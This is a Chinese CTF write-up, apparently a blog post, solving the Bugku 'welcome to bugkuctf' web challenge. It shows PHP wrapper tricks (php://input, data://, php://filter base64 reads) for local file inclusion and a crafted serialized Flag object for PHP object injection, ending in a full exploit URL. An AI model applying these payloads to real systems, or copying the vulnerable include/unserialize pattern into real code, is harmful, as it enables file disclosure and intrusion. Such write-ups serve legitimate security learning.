bugku-web-welcome to bugkuctf

查看源代码

you are not the number of bugku !  

<!--  
$user = $_GET["txt"];  
$file = $_GET["file"];  
$pass = $_GET["password"];  

if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){  
    echo "hello admin!<br>";  
    include($file); //hint.php  
}else{  
    echo "you are not admin ! ";  
}  
 -->

txt传入 可以用txt=php://input post传输welcome to the bugkuctf
也可以 用data协议 txt=data://text/plain,welcome to the bugkuctf
或者txt=data:text/plain,welcome to the bugkuctf
返回 hello friend!
用file=hint.php 没有新的返回 尝试用file=php://filter/convert.base64-encode/resource=hint.php 当有过滤过滤掉read的时候
或者 file=php://filter/read=convert.base64-encode/resource=hint.php
base64解密
hint.php

<?php  

class Flag{//flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("good");
        }  
    }  
}

发现问题了吧,如果不用php://filter 就没有返回 因为hint.php中就没有返回
这里直接读取flag.php 行不通 返回:不能现在就给你flag哦
一定有问题 ,去读index.php看看 同样的base64解密
index.php

<?php  
$txt = $_GET["txt"];  
$file = $_GET["file"];  
$password = $_GET["password"];  

if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){  
    echo "hello friend!<br>";  
    if(preg_match("/flag/",$file)){ 
        echo "不能现在就给你flag哦";
        exit();  
    }else{  
        include($file);   
        $password = unserialize($password);  
        echo $password;  
    }  
}else{  
    echo "you are not the number of bugku ! ";  
}  

?>  

<!--  
$user = $_GET["txt"];  
$file = $_GET["file"];  
$pass = $_GET["password"];  

if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){  
    echo "hello admin!<br>";  
    include($file); //hint.php  
}else{  
    echo "you are not admin ! ";  
}  
 -->  

原来有个if(preg_match(“/flag/”,$file)){
从index.php可以看到对关键词flag进行了屏蔽
没法办了
我们要走

 }else{  
        include($file);   
        $password = unserialize($password);  
        echo $password;  

include 用$file 去读 hint.php include读hint.php 包含hint.php中的代码
用password构造序列化 去读 去引用flag.php
__tostring 方法,这个方法可以理解为将这个类作为字符串执行时会自动执行的一个函数
即执行__tostring函数,而字符串就是我们最后要构造的password的payload

        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("good");

写个脚本 得出password的 最后要构造的password 序列化的

class Flag{
    public $file;           //创建一个Flag类
}
$a=new Flag;                //新建一个Flag类   
$a->file="flag.php";         //引用$this->file     file=flag.php
$a=serialize($a);           //序列化$a
print($a);           

定义一共类class 跟hint.php 相同
执行一下,得到最后password的payload :O:4:”Flag”:1:{s:4:”file”;s:8:”flag.php”;}
http://120.24.86.145:8006/test1/?txt=data://text/plain,welcome%20to%20the%20bugkuctf&file=hint.php&password=O:4:%22Flag%22:1:{s:4:%22file%22;s:8:%22flag.php%22;}
file此时就可以不用php://filter了 考虑到include 包含
echo函数,只能输出一个或多个字符串,所以只要 passwordFlagstring p a s s w o r d 为 F l a g 类 型 数 据 , 且 其 中 s t r i n g 类 型 的 变 量 file为flag.php即可
Flag方法当做字符串执行时,会自动执行 __tostring 方法

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值